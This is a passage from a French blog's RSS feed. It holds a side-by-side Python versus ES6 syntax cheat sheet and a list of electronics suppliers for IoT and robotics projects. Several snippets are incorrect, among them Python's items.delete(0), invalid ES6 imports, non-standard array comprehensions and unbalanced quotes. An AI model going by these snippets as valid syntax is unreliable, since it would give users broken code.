&lt;code&gt;number = parseInt(text, 10);&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;18. One liner/ Opérateur ternaire&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;value = age &gt;= 18? &#39;ADULT&#39;: &#39;CHILD&#39;;&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;19. Object attribute&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;attribute = &#39;color&#39;;
value = obj[attribute] || &#39;GREEN&#39;;
obj[attribute] = value;&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;20. Dictionnaire value by key&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;key = &#39;color&#39;;
value = dictionary[key] || &#39;GREEN&#39;; 
dictionary[key] = value;&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;21. Slice&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;items = [1, 2, 3, 4, 5];
first_two = items.slice(0, 2); 
// [1, 2] 
last_two = items.slice(-2); 
// [4, 5] 
middle_three = items.slice(1, 4); 
// [2, 3, 4]&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;22. Opération sur les listes&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;items1 = [&#39;A&#39;];
items2 = [&#39;B&#39;];
items = items1.concat(items2); 
items.push(&#39;C&#39;); 
items.unshift(&#39;D&#39;);
first = items.shift();
last = items.pop(); 
items.splice(0, 1);&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;23. Joining lists of strings&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;items = [&#39;A&#39;, &#39;B&#39;, &#39;C&#39;];
text = items.join(&#39;, &#39;); // &#39;A, B, C&#39;&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;24. JSON&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;
json_data = JSON.stringify(dictionary, null, 4);
dictionary = JSON.parse(json_data);&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;25. Error handling&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;function CustomException(message) {
  this.message = message;
  this.toString = function() {
    return this.message;
  }
}

function proceed() {
  throw new CustomException(&#39;Error happened!&#39;);
}

try {
 proceed();
} catch (err) {
 if (err instanceof CustomException) {
   console.log(&#39;Sorry! &#39; + err);
 }
} finally {
 console.log(&#39;Finishing&#39;);
}&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;26. Import&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;import math from math;
console.log(math.log(42));

import { log } from math;
console.log(log(42));

import * from math;
console.log(log(42));&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;27. Range&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;console.log(Array.from(new Array(5), (x,i) =&gt; i));&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;28. Comprehensions&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;//To double check with Babel
let names = [for (c of friends) if (c.friendly) c.name]&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;29. Dict creation&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;let x = 42, y = 43
let mon_dict = {x, y}&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
    &lt;!-- --&gt;
    &lt;div style=&#34;width:100%; padding-top: 20px;&#34;&gt;
      &lt;b&gt;30. String in list&lt;/b&gt;
&lt;pre style=&#34;margin: 0px; padding: 5px;&#34;&gt;
&lt;code&gt;let my_list = [&#34;titi&#34;, &#34;tata&#34;, toto&#34;];
if (my_list.includes(&#39;toto&#39;)) {
    console.log(&#34;ok&#34;);
}&lt;/code&gt;
&lt;/pre&gt;
    &lt;/div&gt;
    &lt;!-- --&gt;
  &lt;/div&gt;

&lt;/div&gt;
&lt;/div&gt;</description>
            <content type="html"><![CDATA[<p>Pour que le code React, et JavaScript plus généralement, ne soit pas trop moche; il faut s&rsquo;inspirer de Python ahahah&hellip;</p>


<div style="width: 100%; float: left; position: relative;">
  
  <div style="float: left; width: 49%;">
    <div style="width:100%; text-align: center;"><b><u>Python</u></b></div>
    <!-- -->
    <div style="width:100%; padding-top: 20px; ">
      <b>1. Variables dans des strings</b>
<pre style="margin: 0px; padding: 5px;">
<code>name = 'olivier'

value = f"""Hello, {name}!
Welcome!"""

price = 7.5
value = f"Prix: {price:.2f} €"
print(value)
# Prix: 7.50 €</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>2. Iterator</b>
<pre style="margin: 0px; padding: 5px;">
<code>for item in ['A', 'B', 'C']: 
  print(item)
  </code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>3. Sets</b>
<pre style="margin: 0px; padding: 5px;">
<code>mon_set = set(['titi']) 
mon_set.add('tata')
mon_set.add('toto')
'titi' in mon_set
len(mon_set) == 3
for elem in mon_set:
  print(elem) 
mon_set.remove('C')</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>4. Generators</b>
<pre style="margin: 0px; padding: 5px;">
<code>def countdown(counter):
 while counter > 0:
  yield counter
  counter -= 1


for counter in countdown(10):
 print(counter)
 </code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>5. Unpacking</b>
<pre style="margin: 0px; padding: 5px;">
<code>a = 1
b = 2
a, b = b, a
first, second, *the_rest = [1, 2, 3, 4]
</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>6. Lambda functions</b>
<pre style="margin: 0px; padding: 5px;">
<code>sum = lambda x, y: x + y 
square = lambda x: x ** 2</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>7. Function arguments</b>
<pre style="margin: 0px; padding: 5px;">
<code>from pprint import pprint

def create_post(**options):
  pprint(options)

def report(post_id, reason='not-relevant'):
  pprint({'post_id': post_id, 'reason': reason}) 

def add_tags(post_id, *tags):
  pprint({'post_id': post_id, 'tags': tags})


create_post(title='Hello, World!', content='') 
report(42)
report(post_id=24, reason='spam')
add_tags(42, 'python', 'javascript', 'django')</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>8. Classes et héritage</b>
<pre style="margin: 0px; padding: 5px;">
<code>class Post:
 def __init__(self, id, title):
  self.id = id
  self.title = title

 def __str__(self):
  return self.title

class Article(Post):
 def __init__(self, id, title, content):
   super(Article, self).__init__(id, title)
   self.content = content

class Link(Post):
 def __init__(self, id, title, url):
  super(Link, self).__init__(id, title)
  self.url = url

 def __str__(self):
  return '{} ({})'.format(
    super(Link, self).__str__(),
    self.url,
  )

article = Article(1, 'Hello, World!',
 'This is my first article.'
)

link = Link(2, 'The Example', 'http://example.com')
# isinstance(article, Post) == True
# isinstance(link, Post) == True
print(link)</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>9. Class properties</b>
<pre style="margin: 0px; padding: 5px;">
<code>class Post(object):
 def __init__(self, id, title):
  self.id = id
  self.title = title
  self._slug = ''

 @property
 def slug(self):
  return self._slug

 @slug.setter
 def slug(self, value):
  self._slug = value



post = Post(1, 'Hello, World!')
post.slug = 'hello-world'
print(post.slug)</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>10. Liste - tous les éléments vrais</b>
<pre style="margin: 0px; padding: 5px;">
<code>items = [1, 2, 3]
all_truthy = all(items)</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>11. Liste - au moins un élément vrai</b>
<pre style="margin: 0px; padding: 5px;">
<code>items = [0, 1, 2, 3]
some_truthy = any(items)</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>12. Liste - itérer sur tous les éléments</b>
<pre style="margin: 0px; padding: 5px;">
<code>items = ['a', 'b', 'c', 'd']

for index, element in enumerate(items):
 print(f'{index}: {element};')</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>13. Liste - Map</b>
<pre style="margin: 0px; padding: 5px;">
<code>items = [0, 1, 2, 3]
all_doubled = list(
 map(lambda x: 2 * x, items)
)
# [0, 2, 4, 6]</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>14. Liste - Filtrer les éléments avec une fonction</b>
<pre style="margin: 0px; padding: 5px;">
<code>items = [0, 1, 2, 3]
only_even = list(
 filter(lambda x: x % 2 == 0, items)
)
# [0, 2]</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>15. Liste - Reduce avec une fonction</b>
<pre style="margin: 0px; padding: 5px;">
<code>from functools import reduce

items = [1, 2, 3, 4]
total = reduce(
    lambda total, current: total + current,
items, )
# 10</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>16. Fusionner des dicts</b>
<pre style="margin: 0px; padding: 5px;">
<code>d1 = {'a': 'A', 'b': 'B'}
d2 = {'a': 'AAA', 'c': 'CCC'}
merged = {**d1, **d2} # since Python 3.5
# {'a': 'AAA', 'b': 'B', 'c': 'CCC'}</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>17. Parse int</b>
<pre style="margin: 0px; padding: 5px;">
<code>number = int(text)</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>18. One liner/ Opérateur ternaire</b>
<pre style="margin: 0px; padding: 5px;">
<code>value = 'ADULT' if age >= 18 else 'CHILD'</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>19. Object attribute</b>
<pre style="margin: 0px; padding: 5px;">
<code>attribute = 'color'
value = getattr(obj, attribute, 'GREEN') 
setattr(obj, attribute, value)</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>20. Dictionnaire value by key</b>
<pre style="margin: 0px; padding: 5px;">
<code>key = 'color'
value = dictionary.get(key, 'GREEN')
dictionary[key] = value</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>21. Slice</b>
<pre style="margin: 0px; padding: 5px;">
<code>items = [1, 2, 3, 4, 5]
first_two = items[:2] 
# [1, 2]
last_two = items[-2:]
# [4, 5] 
middle_three = items[1:4]
# [2, 3, 4]</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>22. Opération sur les listes</b>
<pre style="margin: 0px; padding: 5px;">
<code>items1 = ['A']
items2 = ['B']
items = items1 + items2 
items.append('C') 
items.insert(0, 'D') 
first = items.pop(0) 
last = items.pop() 
items.delete(0)</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>23. Joining lists of strings</b>
<pre style="margin: 0px; padding: 5px;">
<code>items = ['A', 'B', 'C']
text = ', '.join(items) # 'A, B, C'</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>24. JSON</b>
<pre style="margin: 0px; padding: 5px;">
<code>import json
json_data = json.dumps(dictionary, indent=4) 
dictionary = json.loads(json_data)</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>25. Error handling</b>
<pre style="margin: 0px; padding: 5px;">
<code>class CustomException(Exception): 
  def __init__(self, message):
    self.message = message 
  
  def __str__(self):
    return self.message 

def proceed():
  raise CustomException('Error happened!')

try: 
  proceed()
except CustomException as err: 
  print(f'Sorry! {err}')
finally: 
  print('Finishing')
  


  </code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>26. Import</b>
<pre style="margin: 0px; padding: 5px;">
<code>import math
print(math.log(42))

from math import log
print(log(42))

from math import *
print(log(42))</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>27. Range</b>
<pre style="margin: 0px; padding: 5px;">
<code>print(range(5))</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>28. Comprehensions</b>
<pre style="margin: 0px; padding: 5px;">
<code>names = [c.name for c in friends if c.friendly]
</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>29. Dict creation</b>
<pre style="margin: 0px; padding: 5px;">
<code>x = 42
y = 43
mon_dict = {"x": x, "y": y}</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>30. String in list</b>
<pre style="margin: 0px; padding: 5px;">
<code>my_list = ["titi", "tata", "toto"]
if "titi" in my_list:
    print("ok")</code>
</pre>
    </div>
    <!-- -->

  </div>

  <!-- -->
  <!-- -->
  <!-- -->

  <div style="float: right; width: 49%;">
    <div style="width:100%; text-align: center;"><b><u>ES6</u></b></div>
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>1. Variables dans des strings</b>
<pre style="margin: 0px; padding: 5px;">
<code>name = 'olivier';

value = `Hello, ${name}!
Welcome!`;

price = 7.5;
value = `Prix ${price.toFixed(2)} €`;
console.log(value);
// 'Price: 7.50</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>2. Iterator</b>
<pre style="margin: 0px; padding: 5px;">
<code>for (let item of ['A', 'B', 'C']) { 
  console.log(item);
}</code>
</pre>
    </div>
      <!-- -->
      <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>3. Sets</b>
<pre style="margin: 0px; padding: 5px;">
<code>mon_set = new Set(['titi']);
mon_set.add('tata').add('toto');
mon_set.has('titi') === true;
mon_set.size === 3;
for (let elem of mon_set.values()) {
  console.log(elem);
} 
mon_set.delete('C');</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>4. Generators</b>
<pre style="margin: 0px; padding: 5px;">
<code>function* countdown(counter) {
 while (counter > 0) {
  yield counter;
  counter--;
 }
}
for (let counter of countdown(10)) {
 console.log(counter);
}</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>5. Unpacking</b>
<pre style="margin: 0px; padding: 5px;">
<code>a = 1;
b = 2;
[a, b] = [b, a];
[first, second, ...the_rest] = [1, 2, 3, 4];</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>6. Lambda functions</b>
<pre style="margin: 0px; padding: 5px;">
<code>sum = (x, y) => x + y;
square = x => Math.pow(x, 2);</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>7. Function arguments</b>
<pre style="margin: 0px; padding: 5px;">
<code>function create_post(options) {
  console.log(options); 
}

function report(post_id, reason='not-relevant') { 
  console.log({post_id: post_id, reason: reason});
}

function add_tags(post_id, ...tags) { 
  console.log({post_id: post_id, tags: tags});
}

create_post({title: 'Hello, World!', content': ''}); 
report(42);
report(post_id=24, reason='spam');
add_tags(42, 'python', 'javascript', 'django');</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>8. Classes et héritage</b>
<pre style="margin: 0px; padding: 5px;">
<code>class Post {
 constructor (id, title) {
  this.id = id;
  this.title = title;
 }
 toString() {
  return this.title;
 }
}

class Article extends Post {
 constructor (id, title, content) {
   super(id, title);
   this.content = content;
 }
}

class Link extends Post {
 constructor (id, title, url) {
  super(id, title);
  this.url = url;
 }
 toString() {
  return super.toString() + ' (' + this.url + ')';
 }
}
article = new Article(1, 'Hello, World!',
 'This is my first article.'
);
link = new Link(2, 'The Example', 'http://example.com');
// article instanceof Post === true
// link instanceof Post === true</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>9. Class properties</b>
<pre style="margin: 0px; padding: 5px;">
<code>class Post {
 constructor (id, title) {
  this.id = id;
  this.title = title;
  this._slug = '';
 }

 set slug(value) {
  this._slug = value;
 }

 get slug() {
  return this._slug;
 }
}

post = new Post(1, 'Hello, World!');
post.slug = 'hello-world';
console.log(post.slug);</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>10. Liste - tous les éléments vrais</b>
<pre style="margin: 0px; padding: 5px;">
<code>items = [1, 2, 3];
all_truthy = items.every(Boolean);</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>11. Liste - au moins un élément vrai</b>
<pre style="margin: 0px; padding: 5px;">
<code>items = [0, 1, 2, 3];
some_truthy = items.some(Boolean);</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>12. Liste - itérer sur tous les éléments</b>
<pre style="margin: 0px; padding: 5px;">
<code>items = ['a', 'b', 'c', 'd'];
items.forEach(function(element, index) {
 console.log(`${index}: ${element};`);
});</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>13. Liste - Map</b>
<pre style="margin: 0px; padding: 5px;">
<code>items = [0, 1, 2, 3];
all_doubled = items.map(
 x => 2 * x
);
// [0, 2, 4, 6]</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>14. Liste - Filtrer les éléments avec une fonction</b>
<pre style="margin: 0px; padding: 5px;">
<code>items = [0, 1, 2, 3];
only_even = items.filter(
 x => x % 2 === 0
);
// [0, 2]</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>15. Liste - Reduce avec une fonction</b>
<pre style="margin: 0px; padding: 5px;">
<code>items = [1, 2, 3, 4];

total = items.reduce(
 (total, current) => total + current
);

// 10
</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>16. Fusionner des dicts</b>
<pre style="margin: 0px; padding: 5px;">
<code>d1 = {a: 'A', b: 'B'}
d2 = {a: 'AAA', c: 'CCC'} 
merged = {...d1, ...d2};
// {a: 'AAA', b: 'B', c: 'CCC'}</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>17. Parse int</b>
<pre style="margin: 0px; padding: 5px;">
<code>number = parseInt(text, 10);</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>18. One liner/ Opérateur ternaire</b>
<pre style="margin: 0px; padding: 5px;">
<code>value = age >= 18? 'ADULT': 'CHILD';</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>19. Object attribute</b>
<pre style="margin: 0px; padding: 5px;">
<code>attribute = 'color';
value = obj[attribute] || 'GREEN';
obj[attribute] = value;</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>20. Dictionnaire value by key</b>
<pre style="margin: 0px; padding: 5px;">
<code>key = 'color';
value = dictionary[key] || 'GREEN'; 
dictionary[key] = value;</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>21. Slice</b>
<pre style="margin: 0px; padding: 5px;">
<code>items = [1, 2, 3, 4, 5];
first_two = items.slice(0, 2); 
// [1, 2] 
last_two = items.slice(-2); 
// [4, 5] 
middle_three = items.slice(1, 4); 
// [2, 3, 4]</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>22. Opération sur les listes</b>
<pre style="margin: 0px; padding: 5px;">
<code>items1 = ['A'];
items2 = ['B'];
items = items1.concat(items2); 
items.push('C'); 
items.unshift('D');
first = items.shift();
last = items.pop(); 
items.splice(0, 1);</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>23. Joining lists of strings</b>
<pre style="margin: 0px; padding: 5px;">
<code>items = ['A', 'B', 'C'];
text = items.join(', '); // 'A, B, C'</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>24. JSON</b>
<pre style="margin: 0px; padding: 5px;">
<code>
json_data = JSON.stringify(dictionary, null, 4);
dictionary = JSON.parse(json_data);</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>25. Error handling</b>
<pre style="margin: 0px; padding: 5px;">
<code>function CustomException(message) {
  this.message = message;
  this.toString = function() {
    return this.message;
  }
}

function proceed() {
  throw new CustomException('Error happened!');
}

try {
 proceed();
} catch (err) {
 if (err instanceof CustomException) {
   console.log('Sorry! ' + err);
 }
} finally {
 console.log('Finishing');
}</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>26. Import</b>
<pre style="margin: 0px; padding: 5px;">
<code>import math from math;
console.log(math.log(42));

import { log } from math;
console.log(log(42));

import * from math;
console.log(log(42));</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>27. Range</b>
<pre style="margin: 0px; padding: 5px;">
<code>console.log(Array.from(new Array(5), (x,i) => i));</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>28. Comprehensions</b>
<pre style="margin: 0px; padding: 5px;">
<code>//To double check with Babel
let names = [for (c of friends) if (c.friendly) c.name]</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>29. Dict creation</b>
<pre style="margin: 0px; padding: 5px;">
<code>let x = 42, y = 43
let mon_dict = {x, y}</code>
</pre>
    </div>
    <!-- -->
    <!-- -->
    <div style="width:100%; padding-top: 20px;">
      <b>30. String in list</b>
<pre style="margin: 0px; padding: 5px;">
<code>let my_list = ["titi", "tata", toto"];
if (my_list.includes('toto')) {
    console.log("ok");
}</code>
</pre>
    </div>
    <!-- -->
  </div>

</div>
</div>


]]></content>
        </item>
        
        <item>
            <title>Fournisseurs de pièces détachées pour IoT ou Robotique</title>
            <link>https://leandeep.com/fournisseurs-de-pi%C3%A8ces-d%C3%A9tach%C3%A9es-pour-iot-ou-robotique/</link>
            <pubDate>Mon, 14 Feb 2022 20:49:00 +0200</pubDate>
            
            <guid>https://leandeep.com/fournisseurs-de-pi%C3%A8ces-d%C3%A9tach%C3%A9es-pour-iot-ou-robotique/</guid>
            <description>&lt;p&gt;Voici une liste de quelques sites vous permettant de vous procurer des composants électroniques en France pour vos projets d&amp;rsquo;IoT ou de robotique.&lt;/p&gt;
&lt;h2 id=&#34;en-france-en-ligne&#34;&gt;En France, en ligne&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.gotronic.fr/&#34;&gt;Go Tronic&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://lextronic.fr&#34;&gt;Lextronic&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://conrad.fr&#34;&gt;Conrad&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.e44.com/&#34;&gt;e44&lt;/a&gt; (plusieurs magasins dans le 44)&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.composants-electroniques.com/&#34;&gt;Composants Electroniques&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.radiospares.fr&#34;&gt;Radiospares&lt;/a&gt; professionnels&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.rs-particuliers.com&#34;&gt;Radiospares&lt;/a&gt; particuliers&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://fr.farnell.com/&#34;&gt;Farnell&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.reboul.fr/&#34;&gt;reboul&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.vdram.com/&#34;&gt;vdram&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://www.passion-radio.fr/&#34;&gt;passion-radio&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Amazon &lt;strong&gt;(à éviter pour l&amp;rsquo;électronique)&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Aliexpress &lt;strong&gt;(à éviter pour l&amp;rsquo;électronique)&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;p&gt;Aux USA&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://www.adafruit.com/&#34;&gt;Adafruit&lt;/a&gt; (à l&amp;rsquo;étranger mais Adafruit est une pépite):&lt;/li&gt;
&lt;/ul&gt;
&lt;br/&gt;
&lt;h2 id=&#34;arduino-cartes-et-modules-shields&#34;&gt;Arduino cartes et modules (shields)&lt;/h2&gt;
&lt;p&gt;Arduino shield list: &lt;a href=&#34;http://shieldlist.org/&#34;&gt;http://shieldlist.org/&lt;/a&gt; (Inventaire des &amp;ldquo;shields&amp;rdquo; disponibles pour arduino)&lt;/p&gt;</description>
            <content type="html"><![CDATA[<p>Voici une liste de quelques sites vous permettant de vous procurer des composants électroniques en France pour vos projets d&rsquo;IoT ou de robotique.</p>
<h2 id="en-france-en-ligne">En France, en ligne</h2>
<ul>
<li><a href="https://www.gotronic.fr/">Go Tronic</a></li>
<li><a href="https://lextronic.fr">Lextronic</a></li>
<li><a href="https://conrad.fr">Conrad</a></li>
<li><a href="https://www.e44.com/">e44</a> (plusieurs magasins dans le 44)</li>
<li><a href="https://www.composants-electroniques.com/">Composants Electroniques</a></li>
<li><a href="http://www.radiospares.fr">Radiospares</a> professionnels</li>
<li><a href="http://www.rs-particuliers.com">Radiospares</a> particuliers</li>
<li><a href="https://fr.farnell.com/">Farnell</a></li>
<li><a href="https://www.reboul.fr/">reboul</a></li>
<li><a href="https://www.vdram.com/">vdram</a></li>
<li><a href="https://www.passion-radio.fr/">passion-radio</a></li>
<li>Amazon <strong>(à éviter pour l&rsquo;électronique)</strong></li>
<li>Aliexpress <strong>(à éviter pour l&rsquo;électronique)</strong></li>
</ul>
<br/>
<p>Aux USA</p>
<ul>
<li><a href="https://www.adafruit.com/">Adafruit</a> (à l&rsquo;étranger mais Adafruit est une pépite):</li>
</ul>
<br/>
<h2 id="arduino-cartes-et-modules-shields">Arduino cartes et modules (shields)</h2>
<p>Arduino shield list: <a href="http://shieldlist.org/">http://shieldlist.org/</a> (Inventaire des &ldquo;shields&rdquo; disponibles pour arduino)</p>
<ul>
<li><a href="http://www.lextronic.fr">Lextronic</a> (sparkfun distributeur)</li>
<li><a href="https://boutique.semageek.com/">semageek</a> + Projets <a href="https://www.semageek.com/">https://www.semageek.com/</a></li>
</ul>
<br/>
<h2 id="robotique">Robotique</h2>
